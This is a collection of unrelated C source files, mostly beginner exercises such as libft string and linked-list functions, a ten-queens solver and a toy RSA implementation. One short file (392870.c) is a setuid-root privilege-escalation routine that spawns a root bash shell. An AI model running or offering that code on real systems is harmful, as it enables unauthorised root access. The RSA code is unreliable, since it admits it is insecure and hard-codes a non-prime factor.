printf("Valor de b en el momento de hacer la operación --a = %f\n",b);
printf("Valor de a después de hacer --a = %f\n",a);
printf("Valor inicial de a = %f\n",a);
b=a--;
printf("Valor de b en el momento de hacer la operación a-- = %f\n",b);
printf("Valor de a después de hacer a-- = %f\n",a);
return 0;
} // Fin de programa
|
the_stack_data/150142124.c | int func(int n) {
if ((n > 0) && (n < 5))
n++;
//switch statement
switch(n) {
case 1 :
n = n + 3;
break;
case 2 :
n = n -1;
default :
n = n + 1;
}
//while statement
while ( n > 2)
{
n = n + 2;
}
return n;
}
int main() {
int x;
x = func(10);
}
|
the_stack_data/212642123.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define f_N 20
#define strt_ 100
#define end_ 150
#define dffrnt (end_-strt_)
int rndm(int strt, int end);
int comp(void *a, void *b);
int main()
{
int arr_n[f_N];
srand(time(NULL));
for (int i=0; i<f_N; i++)
arr_n[i]=rndm(strt_, end_);
printf("Unsorted: \n\n");
for (int i=0; i<f_N; i++)
printf("%i\n",arr_n[i]);
printf("\nSorted: \n\n");
qsort(arr_n, f_N, sizeof(int),(__compar_fn_t)comp);
for (int i=0; i<f_N; i++)
printf("%i\n",arr_n[i]);
}
int rndm(int strt, int end)
{
return (int)((end-strt)*((float)(rand()&127)/(RAND_MAX&127)))+strt;
}
int comp(void *a, void *b)
{
return *(int *)a - *(int *)b;
}
|
the_stack_data/40761995.c | #include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
/* 표준 출력을 파일에 재지정하는 프로그램 */
int main(int argc, char* argv[])
{
int fd, status;
fd = open(argv[1], O_CREAT|O_TRUNC|O_WRONLY, 0600);
status = dup2(fd, 1); /* 파일을 표준출력에 복제 */
close(fd);
printf("Hello stdout! duplicated file descriptor = %d\n", status);
fprintf(stderr,"Hello stderr !\n");
}
|
the_stack_data/156393315.c | #include <unistd.h>
#include <stdlib.h>
void ft_putchar(char a)
{
write(1, &a, 1);
}
void ft_printnum(int val, int length)
{
int output[length];
int value;
int num;
int i;
i = length;
if(val <= 0)
ft_putchar((val == 0) ? '0' : '-');
value = (val < 0) ? (val * -1) : val;
while(i-- > 0) {
num = value % 10;
output[i + 1] = num;
value -= num;
value /= 10;
}
while(++i < length)
{
ft_putchar((output[i + 1] + '0'));
}
ft_putchar('\n');
}
void ft_putnbr(int val)
{
int value;
int num;
int length;
value = (val < 0) ? (val * -1) : val;
length = 0;
while(value > 0)
{
num = value % 10;
value -= num;
value /= 10;
length++;
}
ft_printnum(val, length);
}
void ft_putstr(char *str)
{
int i;
i = 0;
while(str[i] != '\0')
{
ft_putchar(str[i++]);
}
ft_putchar('\n');
}
void *ft_memalloc(size_t size)
{
//ft_putnbr((int)size);
void *pnt;
pnt = malloc((int)size);
return pnt;
}
char *ft_returnnum(int val, int length)
{
int len = length + ((val < 0) ? 1 : 0);
char *output = (char*)ft_memalloc(sizeof(char) * (len + 1));
int value;
int num;
int i;
output[len] = '\0';
i = len;
value = (val < 0) ? (val * -1) : val;
while(i-- > ((val < 0) ? 1 : 0)) {
num = value % 10;
output[i] = num + '0';
value -= num;
value /= 10;
}
output[i + 1] = (val < 0) ? '-' : output[i + 1];
return output;
}
char *ft_itoa(int val)
{
int value;
int num;
int length;
if(val == 0)
return "0";
value = (val < 0) ? (val * -1) : val;
length = 0;
while(value > 0)
{
num = value % 10;
value -= num;
value /= 10;
length++;
}
return ft_returnnum(val, length);
}
int main() {
ft_putstr(ft_itoa(126));
return 0;
}
/*
#include <stdio.h>
#include <string.h>
int ft_strlen(char const *str)
{
int length;
length = -1;
while(str[++length] != '\0');
return length;
}
char *ft_strnstr(const char *haystack, const char *needle, size_t n)
{
const char *pnt;
int i;
pnt = NULL;
while (*haystack && (int)n - 1)
{
i = 0;
if(*haystack == needle[i] && pnt == NULL)
pnt = (ft_strlen(needle) > (int)n) ? NULL : haystack;
n--;
while(pnt != NULL && *haystack == needle[i] && needle[i])
{
if(*++haystack != needle[++i] && needle[i] != '\0')
{
pnt = NULL;
haystack--;
}
if(needle[i] == '\0' && pnt != NULL)
return (char *)pnt;
}
haystack++;
}
return NULL;
}
int main() {
const char *str = "don't eat poop";
const char *sub = "op";
printf("%s\n", ft_strnstr(str, sub, 14));
//printf("%s\n", ft_strrchr(str, 'o'));
return 0;
}
// -------------------------------------------------------------------A DIFFERNT TEST ::
// ----- Show difference between assembly output: src[i++] vs *src++
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
char *str = (char *)malloc(sizeof(char) * 12);
strcpy(str,"This is a s\0");
int i;
i = 0;
while(str[i++]);
while(*str++);
return 0;
}
// --------------------------------------------------------------------SAME TEST - BETTER FOR PYTHON TUTOR VISUALIZER ::
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
char *str = (char *)malloc(sizeof(char) * 12);
strcpy(str,"This is a s\0");
int i;
i = 0;
while(str[i++])
printf("%d", i - 1);
printf("\n\n");
while(*str++)
printf("%s\n", (str - 1));
return 0;
}
// ---------------------------------------------------------------------------------STRSPLIT TEST SETUP ::
#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>
void *ft_strncpy(char *dst, const char *src, size_t len)
{
int i;
i = -1;
while (src[++i] && i < (int)len)
dst[i] = src[i];
dst[i] = '\0';
return dst;
}
char *ft_strnew(size_t size)
{
char *str;
str = (char *)malloc((int)size + 1);
str[size] = '\0';
return str;
}
char **ft_strspliter(char const *s, char c, int strlen, int subcount)
{
int i;
int start;
int count = strlen;
char **list = malloc(sizeof(char **) * (subcount + 1));
list[subcount] = (char *)('\0');
while(subcount--)
{
while(*(s - 1) == c)
s--;
i = 0;
while(strlen-- && *(--s) != c)
i++;
strlen++;
list[subcount] = ft_strnew(i);
i = 0;
}
return list;
}
char **ft_strsplit(char const *s, char c)
{
int subcount;
int strlen;
int bigstrlen;
char **rtnpnt;
bigstrlen = 0;
subcount = 0;
strlen = 0;
while(*s == c)
s++;
while(*s && ++strlen && ++bigstrlen)
{
subcount += (!(*s) || *(++s) == c) ? 1 : 0;
while(*s == c && bigstrlen++)
s++;
}
subcount += (!*s && subcount && *(s - 1) != c) ? 1 : 0;
rtnpnt = ft_strspliter(s, c, strlen, subcount);
s -= bigstrlen;
while(*rtnpnt)
{
strlen = 0;
while(*s != c && *s)
rtnpnt[0][strlen++] = *s++;
while(*s == c && s++);
rtnpnt++;
}
rtnpnt -= subcount;
return rtnpnt;
}
int main() {
const char *str = "don't eat poop";
char **strArr = ft_strsplit(str, ' ');
//const char *str = "*hello*fellow***students*";
//char **strArr = ft_strsplit(str, '*');
return 0;
}
--------------- OTHER SHIT!! -------------------------------------------------
#include <stdlib.h>
void fucky(char *c)
{
*c += 2;
}
void ft_striter(char *s, void (*f)(char *))
{
while(*s)
f(s++);
}
int main() {
char *str = (char *)malloc(sizeof(char) * 15);
strcpy(str, "don't eat poop");
ft_striter(str, fucky);
return 0;
}
------------------- LIST LIST ATT # 1 -------------!!!!!!!!!!!!-----------------
typedef struct list
{
char value;
struct list *next;
} list;
int main() {
struct list sampleNode;
struct list mylist = {'l', &sampleNode};
return 0;
}
------------------- LIST LIST ATT # 2 -------------!!!!!!!!!!!!-----------------
#include <stdlib.h>
typedef struct list
{
char value;
struct list *next;
} list;
void listmaker(char c, struct list *mylist)
{
struct list *newNode = (struct list *)malloc(sizeof(struct list));
while((int)(*mylist).next)
mylist = (*mylist).next;
(*newNode).value = c;
(*newNode).next = '\0';
(*mylist).next = newNode;
}
int main() {
struct list *mylist;
struct list sampleNode;
struct list sampleNode2;
sampleNode.value = 'f';
sampleNode.next = &sampleNode2;
sampleNode2.next = '\0';
mylist = &sampleNode;
//mylist = '\0';
listmaker('l', mylist);
return 0;
}
-------------------------------------------------------SUPERMEGA - FIRST SERIOUS LEGIT ATTEMPT :: ---------------------
#include <stdlib.h>
typedef struct list
{
char value;
struct list *next;
} list;
void listmaker(char c, struct list *mylist)
{
void **pnt;
struct list *newNode;
newNode = (struct list *)malloc(sizeof(struct list));
(*newNode).value = c;
(*newNode).next = '\0';
pnt = mylist;
if(!(*pnt))
*pnt = newNode;
else
pnt = &((*mylist).next);
mylist = pnt;
while((*mylist).next)
{
mylist = pnt;
pnt = (*mylist).next;
}
(*mylist).next = newNode;
}
int main() {
struct list *mylist;
struct list sampleNode;
struct list sampleNode2;
sampleNode.value = 'f';
sampleNode2.value = 'j';
sampleNode.next = &sampleNode2;
sampleNode2.next = '\0';
mylist = &sampleNode;
//mylist = '\0';
listmaker('l', &mylist);
return 0;
}
--------!!!!!----------------!!!!!!!!!!! FIRST LINK LIST 42 LIBFT SUCCESS -> ft_lstnew (for pytutor) ---------------
#include <stdlib.h>
#include <string.h>
typedef struct s_list
{
void *content;
size_t content_size;
struct s_list *next;
} t_list;
t_list *ft_lstnew(void const *content, size_t content_size)
{
t_list *pnt;
pnt = (t_list *)malloc(sizeof(t_list));
memcpy(&(*pnt).content, &content, content_size);
memcpy(&(*pnt).content_size, &content_size, sizeof(size_t));
(*pnt).next = 0;
return pnt;
}
int main() {
char c = 'l';
const void *value = &c;
t_list *mylist;
mylist = ft_lstnew(value, sizeof(char *));
return 0;
}
!!!--------------------- lstadd_end!!!!!!!!!!!!!!!!!!!!!!!!!-----------------------------------
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef struct s_list
{
void *content;
size_t content_size;
struct s_list *next;
} t_list;
void ft_lstadd_end(t_list **alst, t_list *new_link)
{
while((int)((*(*alst)).next))
alst = &((*(*alst)).next);
((*(*alst)).next) = &(*new_link);
}
void ft_lstadd(t_list **alst, t_list *new_link)
{
((*new_link).next) = &(*(*alst));
(*alst) = &(*new_link);
}
t_list *ft_lstnew(void const *content, size_t content_size)
{
t_list *pnt;
pnt = (t_list *)malloc(sizeof(t_list));
memcpy(&(*pnt).content, &content, sizeof(void *));
memcpy(&(*pnt).content_size, &content_size, sizeof(size_t));
(*pnt).next = 0;
return pnt;
}
int main() {
int l = 'l';
char v = 'v';
char n = 'n';
char x = 'x';
const void *value1 = &l;
const void *value2 = &v;
const void *value3 = &n;
const void *value4 = &x;
t_list *mylist;
mylist = ft_lstnew(value1, sizeof(int));
ft_lstadd(&mylist, ft_lstnew(value2, sizeof(char)));
ft_lstadd(&mylist, ft_lstnew(value3, sizeof(char)));
ft_lstadd_end(&mylist, ft_lstnew(value4, sizeof(char)));
ft_lstadd(&mylist, ft_lstnew(value3, sizeof(char)));
return 0;
}
FFFFFFUUUUUUUUCCCCCCCKKKKKKKKKKKSSSSSSSSSSHHHHHHHIIIIIIIIIIIIIITTTTTTTT ------------------------------
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
typedef struct s_list
{
void *content;
size_t content_size;
struct s_list *next;
} t_list;
void ft_linkdel(void *pnt, size_t size)
{
free(pnt);
}
void ft_linkprint(t_list *list)
{
printf("%c\n", (*list).content);
}
void ft_lstadd_end(t_list **alst, t_list *new_link)
{
while((int)((*(*alst)).next))
alst = &((*(*alst)).next);
((*(*alst)).next) = &(*new_link);
}
void ft_lstadd(t_list **alst, t_list *new_link)
{
((*new_link).next) = &(*(*alst));
(*alst) = &(*new_link);
}
void ft_lstdelone(t_list **alst, void (*del)(void *, size_t))
{
void *content;
size_t size;
content = (*(*alst)).content;
size = (*(*alst)).content_size;
ft_linkdel(content, size);
free(*alst);
}
void ft_lstdel(t_list **alst, void (*del)(void *, size_t))
{
void *link;
void *content;
size_t size;
while((*alst))
{
link = (*alst);
ft_linkdel((*(*alst)).content, (*(*alst)).content_size);
(*alst) = (*(*alst)).next;
free(link);
}
}
void ft_lstiter(t_list *lst, void (*f)(t_list *elem))
{
while(lst)
{
ft_linkprint((*lst).content);
lst = (*lst).next;
}
}
t_list *ft_lstnew(void const *content, size_t content_size)
{
t_list *pnt;
pnt = (t_list *)malloc(sizeof(t_list));
memcpy(&(*pnt).content, &content, sizeof(void *));
memcpy(&(*pnt).content_size, &content_size, sizeof(size_t));
(*pnt).next = 0;
return pnt;
}
t_list *ft_lstmap(t_list *lst, t_list *(*f)(t_list *elem))
{
t_list *oldlist;
t_list *newlist;
oldlist = &(*lst);
newlist = ft_lstnew((((f)(lst))->content), ((f)(lst))->content_size);
while((int)((*oldlist).next))
{
(*oldlist) = (*(*oldlist).next);
ft_lstadd_end(&newlist, ft_lstnew(((f)(oldlist))->content, ((f)(oldlist))->content_size));
}
return newlist;
}
t_list *shitlook(char content, t_list **alst)
{
t_list *shitlink;
shitlink = (*alst);
char *c;
c = &(*(*shitlink).content);
//printf("%c\n", (*c));
while(((*shitlink).content_size) != sizeof(char) || (*c) != content)
{
shitlink = &(*(*shitlink).next);
c = &(*(*shitlink).content);
}
return shitlink;
}
t_list *ft_addone(t_list *elem)
{
return ft_lstnew((*elem).content, (*elem).content_size);
}
t_list *ft_modlst(t_list *elem)
{
char *c;
void *src;
c = (char *)malloc(sizeof(char));
src = &(*(*elem).content);
c = memcpy(c, src, 1);
(*c) += 2;
return ft_lstnew(c, (*elem).content_size);
}
int main()
{
char *l;
char *v;
char *n;
char *x;
l = (char *)malloc(sizeof(char));
*l = 'l';
//v = (char *)malloc(sizeof(char));
//*v = 'v';
n = (char *)malloc(sizeof(char));
*n = 'n';
x = (char *)malloc(sizeof(char));
*x = 'x';
const void *value1 = l;
//const void *value2 = v;
const void *value3 = n;
const void *value4 = x;
t_list *mylist;
mylist = ft_lstnew(value1, sizeof(char));
//ft_lstadd(&mylist, ft_lstnew(value2, sizeof(char)));
ft_lstadd(&mylist, ft_lstnew(value3, sizeof(char)));
ft_lstadd(&mylist, ft_lstnew(value4, sizeof(char)));
//t_list *shitresponse = (shitlook('n', &mylist));
//ft_lstdel(&shitresponse, ft_linkdel);
//ft_lstiter(mylist, ft_linkadd);
t_list *newlist;
//newlist = ft_lstmap(mylist, ft_addone);
newlist = ft_lstmap(mylist, ft_modlst);
ft_lstiter(newlist, ft_linkprint);
return 0;
}
*/ |
the_stack_data/52097.c | // The MIT License (MIT)
// Copyright (c) 2022 Davidson Souza
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
/**
* This is a small implementation of the RSA encryption system in C, it is **not secure**, since
* keys are small and there is no safety regards. As everything in this repository, this codebase is
* only for learning reasons, if you really want to use RSA, there is a bunch of good tools for that.
*
*/
#include <math.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
typedef long long val_t;
typedef __uint128_t u128_t;
//A few primes for a first primarity test
const unsigned int first_primes[] = {
2, 3, 5, 7, 11, 13, 17, 19, 23, 29,
31, 37, 41, 43, 47, 53, 59, 61, 67,
71, 73, 79, 83, 89, 97, 101, 103,
107, 109, 113, 127, 131, 137, 139,
149, 151, 157, 163, 167, 173, 179,
181, 191, 193, 197, 199, 211, 223,
227, 229, 233, 239, 241, 251, 257,
263, 269, 271, 277, 281, 283, 293,
307, 311, 313, 317, 331, 337, 347, 349
};
#define CHECK(X) if (x.res != ok) return;
typedef enum {
OK,
INVALID_LENGTH,
UNKNOW
} results;
typedef struct {
val_t p;
val_t q;
val_t d;
} private_key;
typedef struct {
val_t e;
val_t n;
} public_key;
typedef struct {
val_t c[100];
} cyphertext;
typedef struct {
val_t m[100];
} plaintext;
typedef struct {
results res;
plaintext text;
} result_t;
// C function for extended Euclidean Algorithm
val_t extended_euclidean_algorithm(val_t a, val_t b, val_t* x, val_t* y) {
// Base Case
if (a == 0) {
*x = 0, *y = 1;
return b;
}
val_t x1, y1; // To store results of recursive call
val_t gcd = extended_euclidean_algorithm(b % a, a, &x1, &y1);
// Update x and y using results of recursive
// call
*x = y1 - (b / a) * x1;
*y = x1;
return gcd;
}
val_t mod(val_t a, val_t b) {
val_t r = a % b;
return r < 0 ? r + b : r;
}
// Function to find modulo inverse of a
val_t mod_inv(val_t a, val_t m) {
val_t x, y;
val_t g = extended_euclidean_algorithm(a, m, &x, &y);
val_t res = mod(x, m);
return res;
}
//A lightweight primarity test, test against a few know primes to see if
//any divides our number
int first_test(val_t a) {
for (unsigned int i = 0; i < 70; ++i) {
if (a % first_primes[i] == 0) return 0;
}
return 1;
}
// Utility function to do modular exponentiation.
// It returns (x^y) % p
val_t mod_pow(val_t x, val_t y, val_t p) {
val_t res = 1; // Initialize result
x = x % p; // Update x if it is more than or
// equal to p
while (y > 0) {
// If y is odd, multiply x with result
if (y & 1)
res = (res*x) % p;
// y must be even now
y = y >> 1; // y = y/2
x = (x*x) % p;
}
return res;
}
// This function is called for all k trials. It returns
// false if n is composite and returns true if n is
// probably prime.
// d is an odd number such that d*2<sup>r</sup> = n-1
// for some r >= 1
int miillerTest(int d, int n) {
// Pick a random number in [2..n-2]
// Corner cases make sure that n > 4
int a = 2 + rand() % (n - 4);
// Compute a^d % n
int x = mod_pow(a, d, n);
if (x == 1 || x == n-1)
return 1;
// Keep squaring x while one of the following doesn't
// happen
// (i) d does not reach n-1
// (ii) (x^2) % n is not 1
// (iii) (x^2) % n is not n-1
while (d != n-1) {
x = (x * x) % n;
d *= 2;
if (x == 1) return 0;
if (x == n-1) return 1;
}
// Return composite
return 0;
}
// It returns false if n is composite and returns true if n
// is probably prime. k is an input parameter that determines
// accuracy level. Higher value of k indicates more accuracy.
int seccond_test(val_t n, val_t k) {
// Corner cases
if (n <= 1 || n == 4) return 0;
if (n <= 3) return 1;
// Find r such that n = 2^d * r + 1 for some r >= 1
val_t d = n - 1;
while (d % 2 == 0)
d /= 2;
// Iterate given number of 'k' times
for (int i = 0; i < k; i++)
if (!miillerTest(d, n))
return 0;
return 1;
}
//Generate a prime number. This prime is VERY SMALL, not even close to
//cryptographically secure.
val_t generate_prime() {
while(1) {
val_t candidate = rand() &0x007FFFFF;
if (!first_test(candidate)) continue; //Composite, do nothing
if (seccond_test(candidate, 20)) return candidate;
}
}
//Make a * b mod(p)
val_t mod_mult(val_t a, val_t b, val_t mod) {
return ((a * b) % mod);
}
//A private key in RSA consists of 2 primes p and q
//and a number d that will be calculated afterwards, because
//depends on choosen exponent.
private_key rsa_generate_private_key(int seed) {
private_key priv = {
.d = 0,
.p = generate_prime(),
.q = 255,
};
return priv;
}
//Generates an RSA public key from a private one
public_key rsa_generate_public_key(private_key *priv) {
public_key pub = {
.e = 0,
.n = 0
};
//The RSA modulus n = p * q
pub.n = priv->p * priv->q;
//rho = (p - 1)(q - 1)
unsigned long long rho = (priv->p - 1) * (priv->q - 1);
pub.e = (1 << 16) + 1; //Exponent is always 2^16
//d is a integer such that ed = 1 (mod rho), and is used for decryption
priv->d = mod_inv(pub.e, rho);
return pub;
}
//Encrypt some data using RSA's algorithm
cyphertext rsa_encrypt(plaintext plt, public_key pk) {
cyphertext cpr;
for (unsigned int i = 0; i < 100; ++i) {
cpr.c[i] = mod_pow(plt.m[i], pk.e, pk.n);
}
return cpr;
}
//Decrypt some data using RSA's algorithm
plaintext rsa_decrypt(cyphertext cpr, private_key *priv, val_t n) {
plaintext plt;
for (unsigned int i = 0; i < 100; ++i) {
plt.m[i] = mod_pow(cpr.c[i], priv->d, n);
}
return plt;
}
result_t rsa_make_plain_text(const char *msg, size_t len) {
result_t res = {
.res = UNKNOW,
.text = {
.m = {0}
}
};
if (len <= 0 || len >= 100) {
res.res = INVALID_LENGTH;
};
for(int i = 0; i < len; i += 2)
res.text.m[i] = msg[i] << 16 | msg[i + 1];
res.res = res.res == UNKNOW? OK: res.res;
return res;
}
void rsa_show_plain_text(const plaintext msg, const size_t len) {
for (unsigned int i = 0; i < len; ++i)
printf("%c%c", msg.m[i] >> 16, msg.m[i] & 0x000000ff);
}
void rsa_show_hex_cyphertext(const cyphertext msg) {
for (unsigned int i = 0; i < 100; ++i)
printf("%04x", msg.c[i]);
}
int main() {
printf("================= RSA Ecrypt ===================\n");
printf("==> Enter a message: ");
char message[100] = {0}, *ptr = message;
while(*ptr != '\n') {
scanf("%c", ++ptr);
}
private_key p = rsa_generate_private_key(0);
public_key pk = rsa_generate_public_key(&p);
plaintext txt = rsa_make_plain_text(message, 100).text;
printf("==> Plaintext: %s\n", message);
cyphertext cypher = rsa_encrypt(txt, pk);
printf("==> Cyphertext: ");
rsa_show_hex_cyphertext(cypher);
printf("\n==> Plaintext after RSA: ");
plaintext new_text = rsa_decrypt(cypher, &p, pk.n);
rsa_show_plain_text(new_text, 100);
printf("\n================= RSA Ecrypt ===================\n");
}
|
the_stack_data/170451772.c | #include <unistd.h>
#include <stdio.h>
void ft_putchar(char c)
{
write(1, &c, 1);
}
int ft_abs(int nb)
{
return ((nb < 0)? -nb : nb);
}
int check(int queen[10], int x)
{
int i;
i = 0;
while (i < x)
{
if (queen[i] == queen[x] || ft_abs(queen[i] - queen[x]) == x - i)
return (0);
i++;
}
return (1);
}
void solve(int queen[10], int x, int *max)
{
int i;
i = -1;
while (++i < 10)
{
queen[x] = i;
if (check(queen, x) == 1)
{
if (x == 9)
{
x = 0;
while (x < 10)
ft_putchar(queen[x++] + '0');
ft_putchar('\n');
(*max)++;
return ;
}
else
solve(queen, x + 1, max);
}
}
}
int ft_ten_queens_puzzle(void)
{
int queen[10];
int max;
max = 0;
solve(queen, 0, &max);
return (max);
}
int main()
{
printf("%d\n",ft_ten_queens_puzzle());
return (0);
} |
the_stack_data/179831694.c | #include <stdio.h>
#include <string.h>
#include <stdbool.h>
struct vtr
{
int x;
int y;
int z;
};
int main(void)
{
struct vtr v1;
struct vtr v2;
struct vtr v3;
scanf("%d %d %d", &v1.x, &v1.y, &v1.z);
getchar();
scanf("%d %d %d", &v2.x, &v2.y, &v2.z);
v3.x = v1.x * v2.x;
v3.y = v1.y * v2.y;
v3.z = v1.z * v2.z;
printf("%d %d %d\n", v3.x, v3.y, v3.z);
printf("%d\n", v3.x + v3.y + v3.z);
return 0;
}
|
the_stack_data/392870.c | #include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
printf("Exploiting!\n");
int fd = open("/proc/self/exe", O_RDONLY);
struct stat st;
fstat(fd, &st);
if (st.st_uid != 0)
{
fchown(fd, 0, st.st_gid);
fchmod(fd, S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
}
else
{
setuid(0);
execve("/bin/bash",NULL,NULL);
}
return 0;
}
|
the_stack_data/432739.c | /*************************************************************************/
/* */
/* Copyright 2010 Rulequest Research Pty Ltd. */
/* */
/* This file is part of C5.0 GPL Edition, a single-threaded version */
/* of C5.0 release 2.07. */
/* */
/* C5.0 GPL Edition is free software: you can redistribute it and/or */
/* modify it under the terms of the GNU General Public License as */
/* published by the Free Software Foundation, either version 3 of the */
/* License, or (at your option) any later version. */
/* */
/* C5.0 GPL Edition is distributed in the hope that it will be useful, */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU */
/* General Public License for more details. */
/* */
/* You should have received a copy of the GNU General Public License */
/* (gpl.txt) along with C5.0 GPL Edition. If not, see */
/* */
/* <http://www.gnu.org/licenses/>. */
/* */
/*************************************************************************/
/*************************************************************************/
/* */
/* Program to produce average results from an xval */
/* ----------------------------------------------- */
/* */
/*************************************************************************/
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
void PrintSummary(float **Val, int No, char *Title);
float SE(float sum, float sumsq, int no);
int Boost=0, Composite=0, Costs=0, Rules;
#define SIZE 0
#define ERRP 1
#define COST 2
int main(int argc, char *argv[])
/* ---- */
{
char Line[100], *p;
int Cases, Folds, Repeats, f, r, i, N,
Size=0, Errs=0, Form, OK;
float ***Raw, **Average=0, FX, Tests, Cost=0;
sscanf(argv[1], "%d", &Cases);
sscanf(argv[2], "%d", &Folds);
sscanf(argv[3], "%d", &Repeats);
sscanf(argv[4], "%d", &Rules);
/* Assemble all data */
Raw = (float ***) calloc(Repeats, sizeof(float **));
if ( Repeats > 1 )
{
Average = (float **) calloc(Repeats, sizeof(float *));
}
/* Determine input type from the first line */
fgets(Line, 100, stdin);
/* Count the numbers on the line */
/*
N = 0;
for ( p = Line ; *p ; )
{
if ( isdigit(*p) )
{
N++;
while ( isdigit(*p) || *p == '.' ) p++;
}
else
{
p++;
}
}
if ( ! memcmp(Line, "boost", 5) )
{
Boost = 1;
Costs = ( N == 3 );
}
else
if ( ! memcmp(Line, "composite", 9) )
{
Composite = 1;
Rules = 0;
Costs = ( N == 4 );
}
else
{
Costs = ( N == 4 );
}*/
Form = ( Composite ? 2 + Costs : Costs );
for ( r = 0 ; r < Repeats ; r++ )
{
Raw[r] = (float **) calloc(Folds, sizeof(float *));
if ( Repeats > 1 )
{
Average[r] = (float *) calloc(3, sizeof(float));
}
for ( f = 0 ; f < Folds ; f++ )
{
Raw[r][f] = (float *) calloc(3, sizeof(float));
if ( r + f != 0 && ! fgets(Line, 100, stdin) )
{
printf("\nExpecting %d lines\n", Folds * Repeats);
exit(1);
}
Tests = Cases / Folds + ( f >= Folds - Cases % Folds);
/*
if ( ! memcmp(Line, "boost", 5) )
{
Boost = 1;
switch ( Form )
{
case 0:
N = sscanf(Line, "boost %d (%f%%)", &Errs, &FX);
OK = ( N == 2 );
break;
case 1:
N = sscanf(Line, "boost %d (%f%%) %f", &Errs, &FX, &Cost);
OK = ( N == 3 );
}
}
else
{
switch ( Form )
{
case 0:
N = sscanf(Line, "%d %d (%f%%)", &Size, &Errs, &FX);
OK = ( N == 3 );
break;
case 1:
N = sscanf(Line, "%d %d (%f%%) %f",
&Size, &Errs, &FX, &Cost);
OK = ( N == 4 );
break;
case 2:
N = sscanf(Line+18, "%d %d (%f%%) %f",
&Size, &Errs, &FX, &Cost);
OK = ( N == 4 );
break;
}
}*/
if ( ! OK )
{
printf("\nCannot parse line\n\t%s", Line);
exit(1);
}
Raw[r][f][SIZE] = Size;
Raw[r][f][ERRP] = (100.0 * Errs) / Tests;
Raw[r][f][COST] = Cost;
if ( Average )
{
for ( i = 0 ; i < 3 ; i++ )
{
Average[r][i] += Raw[r][f][i];
}
}
}
if ( Average )
{
for ( i = 0 ; i < 3 ; i++ )
{
Average[r][i] /= Folds;
}
}
}
/* Check that amount of data is correct */
if ( fgets(Line, 100, stdin) )
{
printf("\nExpecting %d lines\n", Folds * Repeats * 2);
exit(1);
}
if ( Average )
{
PrintSummary(Average, Repeats, "XVal");
}
else
{
PrintSummary(Raw[SIZE], Folds, "Fold");
}
return 0;
}
char
*StdP[] = { " Decision Tree ",
" ---------------- ",
" Size Errors " },
*StdPC[] = { " Decision Tree ",
" ----------------------- ",
" Size Errors Cost " },
*Extra[] = { " Rules ",
" ----------------",
" No Errors" },
*ExtraC[]= { " Rules ",
" -----------------------",
" No Errors Cost" };
void PrintSummary(float **Val, int No, char *Title)
/* ------------ */
{
int i, j;
float Sum[3], SumSq[3];
for ( i = 0 ; i < 3 ; i++ )
{
Sum[i] = SumSq[i] = 0;
}
for ( i = 0 ; i <= 2 ; i++ )
{
switch ( i )
{
case 0:
printf("\n\t%s ", Title);
break;
case 1:
printf("\t---- ");
break;
case 2:
printf("\t ");
}
printf("%s\n", ( Composite ?
( Costs ? ExtraC[i] : Extra[i] ) :
Rules ?
( Costs ? ExtraC[i] : Extra[i] ) :
( Costs ? StdPC[i] : StdP[i] ) ));
}
printf("\n");
for ( j = 0 ; j < No ; j++ )
{
for ( i = 0 ; i < 3 ; i++ )
{
Sum[i] += Val[j][i];
SumSq[i] += Val[j][i] * Val[j][i];
}
printf("\t%3d ", j+1);
if ( Boost )
{
printf(" *");
}
else
{
printf("%8.1f", Val[j][SIZE]);
}
printf(" %4.1f%% ", Val[j][ERRP]);
if ( Costs )
{
printf("%5.2f ", Val[j][COST]);
}
printf("\n");
}
printf("\n\tMean ");
if ( Boost )
{
printf(" ");
}
else
{
printf("%8.1f", Sum[SIZE] / No);
}
printf(" %4.1f%% ", Sum[ERRP] / No);
if ( Costs )
{
printf("%5.2f ", Sum[COST] / No);
}
printf("\n\tSE ");
if ( Boost )
{
printf(" ");
}
else
{
printf("%8.1f", SE(Sum[SIZE], SumSq[SIZE], No));
}
printf(" %4.1f%% ", SE(Sum[ERRP], SumSq[ERRP], No));
if ( Costs )
{
printf("%5.2f ", SE(Sum[COST], SumSq[COST], No));
}
printf("\n");
}
float SE(float sum, float sumsq, int no)
/* -- */
{
float mean;
mean = sum / no;
return 0;
//return sqrt( ((sumsq - no * mean * mean) / (no - 1)) / no );
}
|
the_stack_data/68888793.c | /* Display value of fixed point numbers */
#include <stdio.h>
#include <stdlib.h>
/* Extract hex/decimal/or float value from string */
static int
get_num_val (char *sval, unsigned *valp)
{
char *endp;
/* See if it's an integer or floating point */
int ishex = 0;
int isfloat = 0;
int i;
for (i = 0; sval[i]; i++)
{
switch (sval[i])
{
case 'x':
case 'X':
ishex = 1;
break;
case 'e':
case 'E':
if (!ishex)
isfloat = 1;
break;
case '.':
isfloat = 1;
break;
default:
